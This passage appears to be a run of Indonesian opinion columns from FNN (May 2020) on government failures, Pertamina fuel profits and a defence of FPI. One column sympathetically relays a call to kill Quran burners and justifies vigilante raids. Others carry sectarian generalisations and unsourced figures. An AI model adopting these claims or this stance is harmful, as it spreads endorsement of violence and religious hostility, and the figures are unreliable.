“sejalan” dan seiring saat mengeluarkan kebijakan. Mudik dilarang, tapi transportasi diizinkan dengan syarat. Lha Covid-19 itu kan bisa naik ke dalam pesawat dan moda transportasi lainnya. Penulis Wartawan Senior.

Bahar dan Said, Dua Tempat Berkumpul Baru

By Asyari Usman Jakarta, FNN - Tanpa terasa, akan ada dua ‘icon’ baru di akar rumput. Keduanya akan menjadi ‘rallying point’ (tempat berkumpul) gerakan perlawanan yang alami (natural). Perlawanan yang natural akan melahirkan ‘rallying point’ yang natural juga. Bahar dan Said. Mereka ini sedang dalam penempaan alam. Akan menjadi simbol gerakan penegakan keadilan. Kebetulan sekali, keadilan itu sudah lama dipinggirkan. Oleh para penguasa zalim. Yang dikelilingi oleh tikus-tikus rakus yang sedang ganas memangsa bagaikan laparnya ‘homo homini lupus’. Rakyat sudah lama kehilangan ‘tempat berkumpul’ itu. Sekarang mulai disiapkan oleh kesewenangan. Sebagai ‘side effect’ dari kesewenangan itu. Konsekuensi logis. Begitulah alam bekerja. Patah Tumbuh, Hilang Berganti. Mati Satu, Tumbuh Seribu. Ini yang terjadi sejak para pendahulu Anda berjuang membebaskan bangsa dan negara ini dari para penjajah. Hari-hari ini, gerakan pembebasan muncul lagi. Juga natural. Karena rakyat sedang terjajah kembali. Dijajah oleh kaum sendiri. Penjajahan internal. Tentu ini jauh lebih berat dari perlawanan terhadap penjajahan eksternal. Penjajahan eksternal itu frontal sifatnya. Good causes vs evil forces. Yang haqq lawan yang bathil. Kata para jurnalis: jelas 5W1H-nya. Tidak abu-abu dari segi sosio-kultural. Sehingga, semboyan ‘kami dan kalian’-nya pun tidak meragukan. Kami di sini, kalian dari sana. Tidak begitu halnya dengan penjajah internal. Walaupun, kata orang, hanya berstatus sebagai ‘proxy’ saja. Yang berposisi ‘kalian’ dalam konteks penjajah-terjajah internal, adalah mereka yang sama dan sebangun dengan ‘kami’. Seayah-seibu secara fisik dan sosial-budaya. Itulah sebabnya, di dalam episod gerakan pembebasan kali ini, ‘kami’ tidak sedang berusaha mengusir dan menghancurkan ‘kalian’. Tidak etis. Yang tepat adalah ‘to neutralize’ (menetralkan). Menetralkan adalah ‘melumpuhkan’. Setelah kekuatan jahat itu lumpuh, Anda bisa melakukan langkah-langkah pemulihan kedaulatan rakyat. Plus penegakan keadilan. Terus, mana lebih kuat: penjajah internal atau gerakan perlawanan? Penjajah internal itu lahir dari proses rekayasa. Mereka tidak kokoh. Cuma memang ‘kekeuh’. Sedangkan gerakan perlawanan lahir dari proses seleksi alam. Kalau dipinjam terminologi medis, gerakan perlawanan itu memiliki ‘antibody asli’ yang terbentuk untuk menang. Bukan untuk kalah. Bahar dan Said adalah dua ‘rallying point’ yang natural. Mereka menyimpan banyak potensi. Bukan mereka yang memilih jalan gerakan perlawanan itu. Melainkan alamlah yang menggiring mereka ke arah itu. Sebaliknya, penjajah internal dipilihkan jalannya oleh proses fabrikasi yang di dalamnya berkumpul para designer dan programmer kepentingan kelompok kecil. Oligarki, kata orang. Mereka inilah yang menyutradarai penjajahan internal. Mereka hampir pasti berkolaborasi dengan kekuatan eksternal. Sesuatu yang rasional. Tapi, jangan lupa. Meskipun lahir dari proses fabrikasi, penjajah internal itu memiliki specs yang mampu memperdaya publik. Mereka memiliki ‘casing’ yang bagus. Banyak yang tergila-gila menjadi pengikut. Akibat ketidaktahuan mereka. Atau, akibat terlalu mudah membuang akal sehat. Jadi, silakan simak apakah Bahar dan Said akan terbentuk menjadi dua ‘rallying point’ yang baru. Lihat pula siapa-siapa yang akan terpilah mengikuti gerombolan penjajah internal. Dan siapa-siapa yang beruntung terhimpun ke dalam gelombang perlawanan natural.[] 20 Mei 2020(Penulis Wartawan Senior)

Bangsa Yang Dikepung Masalah

By Tony Rosyid Jakarta FNN – Rabu (20/05). Apes,,, Itulah kata yang tepat untuk menggambarkan negeri +62 saat ini. Keprihatinan terkait Pemilu 2019 yang memakan korban PPS meninggal 890-an belum usai, muncul kasus Jiwasraya dan Asabri sekitar Rp.40-an triliun. Lenyapnya uang nasabah Rp 40-an triliun di kedua BUMN tersebut semakin menggegerkan negeri ini. BPJS pun collaps. Naikkan iuran melalui Perpres No 82/2018, dibatalin Mahkamah Agung (MA). Naikkan lagi dengan perpres 64/2020, rakyat ramai-ramai menyerbu. Yudisial riview lagi. Apakah akan dibatalin lagi oleh MA, lalu dinaikkan lagi melalui Perpres yang baru, entah nomor berapa? Tata kelola pemerintahan kayak sirkus aja. Amatiran, asal-asal dan jauh dari mengerti permasalahan, Revisi UU KPK pun mendapat banyak kutukan dan cemohan di masyarakat. Apalagi ketika KPK tak bisa lagi menggeledah kantor PDIP. Harun Masiku (HM), mantan kader PDIP menghilang. KPK pun belum mampu menemukannya. Sampai sekarang entah dimana buronan ini berada. Emangnya Masiku masih hidup? Begitulah pertanyaan publik. Soal tangkap menangkap, kita percaya polisi sangat profesional. Kenapa sampai hari ini HM belum juga ketangkap? Apakah orangnya sudah mati? Ketua Masyarakat Anti Korupsi Indonesia (MAKI) Boyamin Soiman mensinyalir Harun Masiku telah meninggal dunia. Entah dibunuh atau bunuh diri atau meninggal karena sakit dan sebab lain. Sedang meratapi keadaan KPK, gelombang corona datang. Bak tamu tak diundang, corona telah memakan banyak korban. Lebih dari seribu penduduk mati. Itu yang tercatat. Artinya, mati setelah ada hasil test swebnya. Yang belum ada hasil testnya, gak tercatat. Jumlahnya? Bisa lebih besar. Perppu corona pun diterbitkan. Tapi, mendapat banyak kecaman. Sejumlah pakar hukum protes. Perppu corona dianggap memberi kesempatan terjadinya korupsi besar-besaran. Anggaran Rp. 405,1 triliun itu bukan uang kecil bro. Tapi, DPR menyetujui dan ketok palu. Perppu jadi UU. Itulah DPR kita. Belum lagi 209 pasal dalam UU Minerba yang cenderung abaikan Amdal, dan RUU Omnibus Law yang dianggap memojokkan nasib para buruh. Rakyat teriak. Tapi DPR nampak nggak dengar. Tutup telinga. Coba-coba kritik, buzzer bayaran segera bertindak. Rupanya, (oknum) DPR sudah berhasil belajar dari cara-cara pemerintah. Pelihara buzzer. Belom lagi gaduh masalah masuknya TKA Cina di Morowali, Sulawesi Tengah, Konawe Sulawesi Tenggara dan Weda Maluku Utara. Sebagian besar masuknya pakai Visa Kunjungan. Tapi sampainya di Indonesia, mereka bekerja di pabrik peleburan biji nikel (smelter). Baru-baru ini, muncul perpres No 60/2020. Tentang Tata Ruang kawasan Perkotaan Jabodetebek Mujur. Salah satunya memberi ijin pulau reklamasi (C, D, G dan N) untuk dibangun. Padahal, pulau G masih ada sengketa hukum. Belum ada putusan PK. Gubernur DKI lagi mau ajukan Peninjauan Kembali (PK) ke MA setelah gugatan di PTTUN ditolak. Inilah gambaran negeri +62 yang hampir setiap pekan dikagetkan, entah oleh kebijakan maupun peraturan yang dibuat oleh pemerintah. Legal dari sisi hukum. Tapi, tak berarti sesuai pikiran dan harapan rakyat. Justru ada di persimpangan. Pemerintah dan DPR terlalu sering kerjasama untuk berseberangan dengan rakyat. Tapi, rakyat tak bisa berbuat apa-apa. Hanya bisa teriak. Dadanya sesak. Inilah penyebab kegaduhan itu. Ditambah lagi pola komunikasi yang terkesan arogan dan sewenang-wenang. Malah terkadang ngawur dalam memilih diksi yang mau disampaikan ke masyarakat. Pagi tempe sore dele. Paginya mengajak rakyat berperang melawan penyebaran Corona. Penerapan PSBB , jaga jarak, keluar rumah pakai masker. Tapi sorenya mengajak rakyat untuk berdamai dengan Corona. Kengawuran tersebut malah didukung oleh "buzzer premium". Belum terlihat ada tanda-tanda Indonesia mampu keluar dari masalah. Anehnya, sebagian besar masalahitu diproduksi sendiri di dalam negeri. Masalah ketidakadilan hukum dan kegaduhan politik masih mendominasi pemberitaan di media massa. Lebih-lebih dari sisi ekonomi. pertumbuhan ekonomi hanya 0,2 persen. Sudah defisit 500 triliun. Sekitar 80-an persen perputaran negeri ini bergantung pada pajak. Tapi, pajak tak lagi bisa diandalkan. Ekonomi megap-megap membuat pusat pun kewalahan bayar hutang. Untuk membayar "Dana Bagi Hasil" atau DBH ke pemerintah daerah saja harus cari alasan sana-sini. Termasuk hutang ke Pemprov DKI. Alasan paling mendekati pas adalah, “belum selesai diaudit BPK”. Nah, BPK balikteriak, apa urusannya dengan kami? BPK ngamuk. Solusinya, sejumlah menteri serang Gubernur DKI. Kok nggak cakep mainnya. Yang tampak di permukaan dari bangsa ini justru semakin dikepung oleh masalah. Kenyataan ini memaksa sembilan tokoh oposisi tampil bicara. Mereka adalah Dr. Abdullah Hehamahua, Prof. Dr. Din Syamsudin, Emha Ainun Najib, Habib Rizieq, Dr. Refly Harun, Dr. Rizal Ramli, Rocky Gerung, K.H.Najih Maemoen dan M. Said Didu. Rakyat berharap kepada tokoh-tokoh agar bisa melahirkan koalisi kebangsaan. Melibatkan para tokoh yang punya perhatian serius untuk selamatkan bangsa ini. Tugasnya? Mengingatkan, menekan dan mendorong pemerintah untuk keluar dari kepungan masalah bangsa hari ini dengan cara yang tepat. Keluar dari masalah yang tanpa masalah. Bukan keluar dari malah, dengan cara menambah atau memproduksi banyak masalah baru. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Jangan Ajari Saya Toleransi dan Pancasila (3): Dibenci, Makin Banyak yang Masuk Islam

Oleh Mangarahon Dongoran Jakarta FNN - Islampobia sangat menyakitkan umat Islam. Islampobia inilah antara lain yang dilawan FPI dan jajarannya. Mereka tidak segan melakukan perlawanan baik secara nyata maupun lewat kata-kata (unjukrasa dan dialog). ISLAMPOBIA. Itu awalnya terjadi di Eropa dan Amerika Serikat. Kenapa terjadi? Karena muslim di sana sangat minoritas. Islampobia telah melahirkan banyak hal yang menebarkan kebencian kepada Islam. Islampobia semakin kencang setelah peristiwa pengebomam WTC di New York, Amerika Serikat, pada 11 September 2001 atau dikenal dengan sebutan peristiwa 11/9. Sejak peristiwa itu, kebencian terhadap agama Islam dan umatnya terus meningkat. Bahkan, tidak lama setelah peristiwa 11/9 itu, beberapa swalayan dan pompa bensin milik umat Islam di New York dan Washington DC menjadi korban pelampiasan kebencian itu. Ada swalayan yang disiram dengan darah babi dan berbagai macam bentuk lainnya. Secara terus-menerus kebencian terhadap agama Islam dan umatnya terus ditebarkan oleh penganut Yahudi, Kristen dan golongan ateis di berbagai negara Eropa dan Amerika Serikat. Kebencian terhadap Islam bermacam-macam. Ada yang menghina Nabi Muhammad Sollollohu 'alaihi wasallam melalui karikatur, pendeta di Amerika Serikat yang membakar Al-Qur'an, melempari masjid dan memecahkan kacanya dan juga pelecehan kepada muslimah yang memakai jilbab. Akan tetapi, kebencian yang mereka tebarkan itu jelas semakin membuahkan hasil bagi umat Islam. Semakin mereka membenci semakin banyak orang yang mempelajari tentang Islam dan akhirnya masuk Islam atau menjadi mualaf. Saya sebutkan lima orang pembenci Islam di Amerika Serikat dan Eropa akhirnya masuk Islam. Sebelum masuk Islam, kelimanya percaya bahwa Islam adalah agama yang menebarkan kebencian di dunia. Pertama adalah Daniel Streich. Ia Anggota Partai Rakyat Swiss (SVP) dulunya pembenci Islam yang tenar. Daniel Streich sangat menentang keras pembangunan masjid di negaranya selama kurun 1990-an. Situs islamicbulettin.com melaporkan Streich penganut kristen taat. Dia dibesarkan dengan ajaran Kristiani dan semasa kecil pernah bercita-cita menjadi pastor. Namun ketika remaja niatnya berubah. Ia mulai gemar berpolitik dan tanpa ragu terjun langsung menjadi anggota partai ternama di Swiss. "Banyak perbedaan yang saya dapatkan ketika mempelajari Islam. Agama ini memberikan saya jawaban logis atas pertanyaan hidup penting dan tidak saya temukan di agama saya," katanya. Kedua, Arnoud Van Doorn.Arnoud Van Doorn adalah produser 'Fitna', sebuah film yang menghina Nabi Muhammad yang diluncurkan pada 2008. Secara mengejutkan, pegiat anti-Islam asal Belanda itu kemudian menjadi mualaf awal 2013. Ketiga, Yusuf Estes. Yusuf Estes adalah seorang mualaf asal Amerika Serikat. Sebelum masuk Islam, ia termasuk dalam orang-orang yang mengidap islamophobia.Estes lahir dari keluarga Kristen yang taat di Midwest, Amerika Serikat. Keluarganya secara turun-temurun membangun gereja dan sekolah Kristen. Keempat, Terry Holdbrooks Jr. Ia adalah angota polisi militer Amerika Serikatyang pernah menjadi penjaga penjara Guantanamo.Di penjara inilah militer AS menahan tokoh Al Qaidah dan Taliban yang dianggap paling berbahaya. Holdbrooks bertugas di tempat paling mengerikan di muka bumi ini sepanjang kurun 2002 hingga 2003.Nurani Holdbrooks terusik saat melihat para tawanan itu diperlakukan seperti binatang. Akan tetapi mereka masih tetap senyum. Melihat tahanan yang disiksa tetap tersenyum dan terus berdoa serta membaca Al-Qur'an membuatnya tertarik membaca Kitabullah itu."Al Quran adalah buku yang paling mudah dimengerti di dunia. Isinya simpel. Dia menjadi pembimbing untuk hidup," kata Holdbrooks.Sejak 2005, Holdbrooks berkomitmen masuk Islam. Kelima, Ibrahim Killington. Ia menganggap Muslim adalah penjahat penjahat kemanusian dan ingin ikut menerangi Islam pasca tragedi 11 September 2001. Namun, di tengah upaya untuk bergabung dengan tentara AS, dia malah mendapatkan hidayah dari sebuah siaran radio. Pikirannya pun tertarik untuk mempelajari Islam lebih jauh dari apa yang dipahaminya.Akhirnya hidayah turun dan ia pun menjadi mualaf. Masih banyak pembenci Islam yang akhirnya menjadi mualaf. Tidak hanya berasal dari kalangan rendah, tetapi juga dari kalangan berpendidikan, termasuk pastor dan pendeta. Bahkan, dua mantan Duta Besar Vatikan untuk Arab Saudi pun masuk Islam Penjualan Kitab Suci Al-Qur'an semakin laris karena yang bukan beragama Islam membeli, mempelajari dan mendalami kandungannya. Tentu, sebagai umat Islam, dari hati nurani pasti merasa islampobia itu sangat menyakitkan. Jangankan yang ibadahnya bagus, orang yang hanya ber-KTP Islam saja banyak yang marah dan merasa tertantang untuk melakukan perlawanan. Nah, lagi-lagi islampobia inilah yang antara lain yang berusaha dilawan FPI dan jajarannya. Mereka tidak segan melakukan perlawanan baik secara nyata maupun lewat kata-kata. Ketika berdialog dengan Pengurus Dewan Gereja-gereja di Indonesia (DGI) dan Konferensi Waligereja Indonesia (KWI), pada Rabu, 1 September 2010, Habib Rizieq tidak mau menutup-nutupi sikap organisasi yang dikomandoinya terhadap Pendeta Terry D.Jonnes dari Gereja Evangelis, di Dove Outreach World Trade Center, Gainesville, Florida, Amerika Serikat yang akan membakar mushaf Al-Qur'an waktu itu. Rizieq yang berapi-api menyampaikan pidatonya mengatakan, FPI menyerukan kepada umat Islam agar mencari, mengejar dan membunuh semua pelaku yang terlibat dalam pembakaran Al-Qur'an itu. Catat ya, yang dibunuh adalah pelaku pembakar Al-Qur'an. "Yang dibunuh adalah pelaku pembakar Al-Qur'an, karena darah mereka halal ditumpahkan. Dibunuh bukan karena dia Nasrani, bukan karena warga negara Amerika Serikat, tetapi karena dia melakukan penghinaan terhadap agama Islam," katanya. Dia menyerukan agar umat Islam tidak melakukan pembalasan sehina yang mereka lakukan (dengan membakar Injil). Membakar kitab suci Al-Qur'an adalah perbuatan yang sangat hina. Oleh karenanya, jangan lagi dibalas dengan perbuatan hina. Ulah Komunis Kok tahu pertemuan Rizieq dengan pengurus DGI dan KWI itu? Jelas tahu, karena saya mendapatkan tugas dari kantor untuk meliput pertemuan tersebut. (Tentang pertemuan itu, baca buku saya, Suka dan Duka 66 Tokoh Sukses. Ada satu judul, "Habib Rizieq, Pendeta Sering Sowan ke Markas FPI." Ya, banyak yang tidak memahami sepak-terjang Habib Rizieq dan FPI-nya dalam membela Islam dan membela Negara Kesatuan Republik Indonesia (NKRI). Bahkan, banyak juga dari kalangan Islam yang menentang apa yang mereka lakukan, hanya karena membaca, menonton dan mendengarkan sisi negatif yang ditampilkan oleh media. Akan tetapi, tidak sedikit orang yang tadinya membenci dan bermusuhan denga Rizieq dan FPI-nya malah belakangan bergabung menjadi simpatisan. Sebut saja musisi Ahmad Dhani yang sempat "disemprot" FPI gara-gara kalifgrafi berlafaz Allah diinjak-injak saat manggung. Ada lagi Rahmawati Sukarnoputri dan Ratna Sarumpaet yang menuduh FPI intoleran dan anti Pancasila dan akhirnya sering bergabung dengan FPI. Padahal, FPI sama sekali tidak seperti yang dituduhkan selama ini. Mereka sangat toleran, Pancasilais dan bagi mereka Negara Kesatuan Republik Indonesia harus dibela mati-matian. Sebab, komunislah yang ingin memecah-belah Indonesia. (Bersambung). ** Penulis, Wartawan Senior.

Pertamina Itu Rentenir, Draculla Atau Lintah Darat?

By Luqman Ibrahim Soemay Biaya beli impor dan angkut Bahan Bakar Minya (BBM) jenis Ron 88 premium, sampai ke pom bensin, sekitar Rp. 2.000 per liter. Dijual di dalam negeri Rp. 6.450 per liter. Sedangkan jenis Ron 92 Pertamax, sampai ke pom bensin biayanya Rp. 3.000 per liter. Dijual ke konsumen dengan harga Rp. 9.000 per liter. Untuk semua jenis BBM, rata-rata Pertamina peras rakyat yang lagi menderita akibat pandemi Corona Rp. 4.000 per liter. Jadi, selama tiga bulan terakhir, BUMN Pertamina telah peras rakyat sebanyak Rp 21 triliun. Jakarta FNN – Rabu (20/05). Sejak penurunan harga minyak mentah dunia Januari 2020 lalu, Pertamina merupakan salah satu perusahaan importir minyak yang paling agresif. Sejak bulan Maret, Pertamina sudah memfokuskan seluruh potensi dan kekuatannya untuk menjadi perusahaan pengimpor minyak jadi atau Bahan Bakar Minyak (BBM). Hasil dari mengimpor BBM jadi tersebut, bisa langsung dijual ke masayarat. Tidak lagi butuh biaya untuk pengolahan di kilang-kilang milik Pertamina. Sekarang, hampir semua kilang-kilang di dalam negeri tidak lagi berproduksi. Kilang-kilang Pertamina itu lagi diistirahatkan. Memanfaatkan momentum penurunan harga BBM internasional dan penerapan PSBB di berbagai daerah. Sebuah sumber menyebutkan, Pertamina di Indonesia minggu ini berencana untuk mengimpor lebih banyak minyak mentah dan bahan bakar besar-besaran. Pertamina menargetkan keuntungan sebesar dari harga impor BBM yang sangat murah sekarang. Namun dijual kepada masyarakat di dalam negeri dengan harga yang sangat, sangat, dan sangat mahal. Peras Rakyat Rp 4.450/Liter Sekarang ini, harga impor BBM jenis Ron 88 atau premium, ditambah dengan seluruh biaya-biaya sampai ke pom bensin itu, sekitar Rp. 2.000 per liter. Sementara Pertamina menjual kepada masyarakat dengan harga Rp. 6.450 per liter. Nah, silahkan hitung sendiri deh berapa keuntungan Pertamina? Berapa ratus persen kentungan yang didapat Pertamina dari menjual BBM jenis premium di harga Rp 6.450 per liter sekarang? Keuntungan yang didapat Pertamina dari menjual BBM jenis premium di dalam negeri dengan harga Rp. 6.450 per liter adalah 245%, atau setara dengan Rp. 4.450 per liter. Sangat besar keuntungan yang diambil Pertamina dari masyarakat. Tega amat sih memeras masyarakat yang lagi tertekan,,, Pertanyaannya, apakah Pertamina masih sebagai perusahaan milik negara atau BUMN yang tidak lagi diberi tugas Public Service Obligation (PSO) dari pemerintah? Sehingga Pertamina hanya mengejar keuntungan semata-mata? Tidak perduli dengan penderitaan yang sedang dialami rakyat akibat pandemi virus corona. Rakyat yang sudah mengalami tekanan hidup selama tiga bulan terakhir akibat pandemi virus jahannam corona. Seharusnya Pertamina tidak ikut-ikutan menekan rakyat yang sudah tertekan. Pertamina jangan sampai berubah menjadi perusahaan “rentenir atau tengkulak”. Sebab rentenir dan tengkulak kerjanya hanya menekan menekan dan menekan setiap orang yang lagi butuh duit. Sebagai BUMN, Pertamina jangan juga berubah menjadi perusahaan yang prakteknya seperti “draculla atau lintah darat”. Sebab “dracula dan lintah darat” itu, kerjanya hanya menghisap menghisap dan menghisap darah manusia sampai orangnya mati. Tidak perduli lagi apa kata orang. Yang penting dapat untung, untung, dan untung yang berlipat-lipat. Tujuan bisnis Pertamina nyata-nyata hanya untuk memeras konsumen. Untuk mendapatkan keuntungan yang sebesar-besarnya. Tanpa mau perduli dengan penderitaan konsumen. Prilaku bisnis yang Pertamina lakukan sekarang ini, biasanya hanya ada di negera-negara kapitalis. Bukan di negara berpaham Pacasila, yang masih punya “Keadilan Sosial Bagi Seluruh Rakyat Indonesia”. Manejemen Pertamina juga sepertinya tidak lagi punya perasaan empaty dan belas kasihan kepada penderitaan rakyat hari ini. “Makanya dalam dua terakhir ini, Maret – April 2020, Pertamina telah berhasil atau sukses memeras rakyat sebesar Rp. 13,75 triliun, “uajar Managing Director Indonesian Resources Studies (IRESS) Marwar Batubara (FNN.co.id edisi 08 Mei 2020). Luar biasa butanya, tulinya dan budegnya mata, telinga manejemen Pertamina. Mungkin juga sudah mati rasa dari perasaan kemanusiaan. Apakah majemen Pertamina tidak mau tau, kalau saat ini seluruh masyarakat Indonesia mengalami tekanan hidup yang luar biasa. Bahkan ada yang menderita akibat pandemi virus laknat corona? Virusnya juga telah menyebar ke hampir seluruh wilayah Indonesia? Menimbun Minyak di Laut Untuk negara-negara di kawasan Asean maupun Asia, Pertamina semakin memastikan posisinya sebagai perusahaan penjual BBM termahal di dalam negeri. Bahkan mungkin juga termahal di dunia. Untuk maksud tersebut, belum lama ini Petamina mengeluarkan tender untuk pembelian BBM sebanyak dua juta barel setiap bulan. Realisasi pelaksanaanya pada kuartal kedua nanti. Untuk menampung impor BBM yang besar itu, Pertamina menyewa tanker untuk menimbun minyak impor di luat. Pertamina menyimpan bahan bakar olahan di laut, karena berupaya mengambil untung yang besar dari jatuhnya harga minyak seperti bensin dan solar. Sementara ini Pertamina mencarter tiga tanker jarak jauh untuk menyimpan BBM. Lebih menguntungkan dibandingkan mengolah minyak mentah sendiri pada kilang-kilang Pertamina di dalam negeri. Ketiga kapal tangker itu, telah dipesan Pertamina sejak akhir April dan awal Mei lalu. Tangker ini akan digunakan untuk menumbun BBM siap jual dalam jumlah besar. Waktunya kontraknya minimal enam bulan, dengan opsi tambahan untuk digunakan sebagai penyimpanan mengambang. Berlabuhnya tangker tersebut di dekat Singapura atau Sungai Linggi Malaysia. “Pertamina juga meningkatkan kapasitas penyimpanan minyak mentah. Nantinya akan diproses sendiri oleh Pertamina, tergantung perkembangan situasi. Pertamina dapat mencari penyimpanan untuk alasan strategis. Mengambil keuntungan dari harga bensin dan solar yang rendah saat ini untuk persediaan masa depan, “kata Serena Huang, analis senior dari Perusahaan Analisis Vortexa Ltd. Pertamina juga lagi mencari kapal tangker lain berukuran besar untuk menyimpan minyak mentah. Kapal yang dibutuhkan itu memiliki kapasitas penyimpanan 500.000 barel. Untuk menyimpan minyak mentah dalam waktu yang lama. Tanker Aframax dengan kapasitas sekitar 650.000 barel, dibutuhkan Pertamina untuk penyimpanan terapung. Tangker Aframax ini mempunyai kemampuan untuk transfer antar-kapal (ke kapal lain), demikian yang dilaporkan Bloomberg. Hutang Baru Rp 45 Triliun Selain impor dari Singapura, Pertamina telah menambahkan Brunai sebagai pelabuhan muat potensial untuk kargo spotnya. Ini sebagai upaya lanjutan mendiversifikasi sumber impor bensinnya. Terakhir, Petrtamina memasukkan Brunai sebagai opsi pelabuhan dalam tender untuk paruh pertama tahun 2020. Langkah ini dilakukan, karena kilang Hengyi yang berbasis di Brunai 160.000 b/d telah meningkatkan operasi komersial sejak awal tahun. Pembeli bensin terbesar di kawasan itu mengeluarkan penawaran tender, yang ditutup 24 Maret 2020 lalu. Pembeli mencari BBM sebanyak 1,2 juta barel bensin Ron 92. Dibeli dalam empat paket terpisah, dengan berbagai ukuran, untuk periode April nanti. Demikian dokumen tender yang dilihat oleh Platts. Pertamina telah memutuskan untuk mengajukan penawaran kargo berdasarkan harga tetap. Langkah ini menyimpang dari praktik tradisional penawaran berdasarkan harga mengambang. Pada 19 Maret 2020 itu, Platts menilai bensin FOB Singapura Ron 92 berada pada level terendah selama 18 tahun terakhir, yaitu U$ 23,07 per barel. Harga terendah terakhir terjadi pada 22 Februari 2002, yaitu U$ 22,90 per barel. Meskipun sekarang harganya telah pulih ke U$ 28,26 per barel. Dengan demikian pertamina telah membeli BBM dengan harga yang sangat murah. Berkisar antara U$ 22.90 – 28,26 dollar per barel atau setara dengan Rp. 2.160 – 2.698 per liter. BBM tersebut dijual di jual di dalam negeri dengan harga yang cukup tinggi, dikarenakan adanya kebijakan tidak ada perubahan harga BBM sepanjang tahun 2020. Jika Ron 92 ke atas masih dijual di dalam negeri dengan harga Rp. 9000 per liter, maka setelah dikurangi biaya-biaya, Pertamina dapat memperoleh keuantungan sekitar Rp. 6.000 per liter atau 200% lebih. Sedngkan untuk BBM jenis yang lain, seperti Ron 88 88 (premium) pertamina telah mendapatkan harga yang jauh lebih rendah. Diperkirakan keutungan rata rata yang didapat Pertamina untuk semua jenis BBM sebesar Rp. 4.000 per liter. Platts melaporkan sebelumnya bahwa, untuk bulan April perusahaan milik negara diperkirakan akan mengimpor antara 10 - 11 juta barel bensin (1 barel = 159 liter). Dengan demikian, keuantungan bulanan yang diperoleh Pertamina semasa pandemi covid 19 setiap Rp. 7 triliun. Jadi, selama tiga bulan terakhir ini, Pertamina sudah meras rakyat Rp. 21 triliun. Untuk dapat membiayai impor BBM dan minyak mentah besar-besaran, Pertamina mengambil utang dalam jumlah yang cukup besar. “Pertamina berhasil mengumpulkan dana sebesar U$ 3 miliar dollar. Dana itu didapat dari menjual obligasi selama pandemi corono, “demikian dilaporkan Forbes. Obligasi U$ 3 miliar dollar itu setara dengan Rp. 45 trliun. Dana tersebut, rencannya dipakai Pertamina untuk menyewa kapal tangker penyimpanan BBM di laut. Selain itu, juga dipakai untuk penyewaan kapal tangker yang menyimpan minyak mentah impor. Penulis adalah Wartawan Senior

Jangan Ajari Saya Toleransi dan Pancasila (2): Minoritas Jangan Adu Domba Umat Islam

Di negara Pancasila ini, umat minoritas sangat dilindungi. Berbeda jika umat Islam menjadi minoritas di suatu negara atau wilayah. Coba Anda ingat perlakuan Budha teroris kepada umat Islam di Myanmar, perlakuan Hindu ekstrimis kepada umat Islam di India. Perlakuan komunis China kepada umat Islam di Ughiur. Oleh Mangarahon Dongoran Jakarta, FNN – TIDAK hanya Klenteng yang didatangi anggota FPI maupun Laskar Pembela Islam (LPI) guna melakukan penyemprotan disinfektan – yang dipercaya bisa mencegah dan bahkan mematikan covid-19. Akan tetapi, sejumlah gereja di beberapa tempat pun didatangi oleh anggora FPI. “Islam Garis Keras,” ini tidak segan masuk ke gereja, meski sebagian dari mereka memakai kopiah haji (putih) yang menjadi ciri khas FPI dan simpatisannya. Tentu anggota FPI yang melakukan penyemprotan menggunakan pakaian alat pelindung diri (APD). Bahkan, di Sumatera Utara, pengurus FPI juga membantu membangun rumah seorang Kristen. Rumah boru Ginting di daerah Kabupaten Karo. Nah, kalau FPI itu intoleran, mana mungkin hal itu terjadi. Kalau FPI itu intoleran, mana mungkin ada anggotanya mau masuk gereja dan klenteng. Kalau FPI itu sukanya memusuhi agama lain, mana mungkin juga orang gereja dan klenteng dengan terbuka dan penuh persaudaraan sebangsa dan setanah air mau menerima anggota FPI. Saya tidak bermaksud memuja-muji FPI. Akan tetapi, sebagai wartawan saya tahu sepak-terjangnya karena beberapa kali mendapatkan tugas dari kantor untuk meliput kegiatannya, termasuk wawancara khusus dengan Habib Rizieq Shihab, juga memberitakan kegiatan mereka menjadi relawan saat tsunami melanda Provinsi Aceh Darussalam. Habib Rizieq memimpin langsung anak buahnya di Aceh dan ia beserta petinggi FPI lainnya menginap selama satu bulan di tenda yang dibangun di areal Taman Makam Pahlawan Banda Aceh. Padahal, kalau mau jajaran FPI bisa saja menyewa rumah untuk petinggi FPI yang melakukan tugas kemanusiaan di Banda Aceh. Saya dan teman-teman yang ditugaskan meliput peristiwa tersebut juga menyewa satu kamar rumah sebagai tempat istirahat. Maklum, hotel di Kota Banda Aceh hancur dan kalaupun ada tidak ada yang mau nginap karena tingkat kerusakan yang tinggi. Jika terjadi gempa, dikhawatirkan rubuh. Tapi, bagi saya apa yang dilakukan FPI benar, karena kalaupun mereka bertindak, karena laporan mereka ke polisi biasanya tidak ditindaklanjuti.Misal, dalam kasus yang dulu galak dengan sweeping-nya terhadap tempat hiburan malam atau dugem (dunia gemerlap) di bulan suci Ramadhan. Itu dilakukan tidak lain karena aparat pemerintah berdiam diri terhadap pelaku usaha dunia hiburan yang melakukan pelanggaran jam waktu buka. Misal, sudah ada ketentuan waktu buka sampai pukul 12.00 dinihari, tapi ada yang masih buka sampai pukul 2.00 dan bahkan pukuk 3.00. Sudah dilaporkan ke aparat pemerintah, tapi didiamkan. Seolah ada kerjasama antara aparat pemerintah dengan pengelola dugem. Ya, mungkin karena ada oknum yang juga ikut menikmati setoran atau dalam bentuk apalah. Tegakkan Aturan Belakangan sweeping sudah jarang atau bahkan tidak pernah lagi dilakukan FPI. Hal itu bukan semata karena polisi mengancam akan menindak pelaku sweeping, tetapi karena penegakan hukum terhadap pengelola dugem juga semakin tegas. Habib Rizieq dan petinggi FP senang dengan tindakan tegas aparat pemerintah (baik polisi dan Satpol PP) yang semakin tegas terhadap pelaku pelanggaran. "Kalau aturan ditegakkan, tugas FPI selesai. FPI hanya mendorong penegakan hukum. Tentu selama ini ada risiko yang diterima, termasuk berhadapan dengan preman-preman yang melindungi tempat-tempat hiburan itu," kata Rizieq suatu ketika. Di Jakarta, misalnya, pengelola yang melakukan pelanggaran jam buka di bulan Ramadhan, langsung ditutup usahanya oleh Satuan Polisi Pamong Praja (Satpol PP), dan bahkan izin usahanya dicabut secara permanen oleh Gubernur DKI Jakarta. Hal yang sama juga terjadi di Kota Tangerang, Depok, Bekasi, Bogor, Bandung dan kota-kota lainnya yang mayoritas berpenduduk muslim. Kalau di kota yang muslimnya minoritas, seperti Pematang Siantar, Tarutung, Gunung Sitoli (Sumatera Utara), Manado (Sulut), Jayapura (Papua), misalnya, tidak ada masalah buka sampai pagi sekali pun. Termasuk di Bali yang mayoritas Hindu, tidak masalah buka sepanjang malam. Selama pemerintah setempat mengizinkannya. Makanya, “Jangan ajari saya dan umat 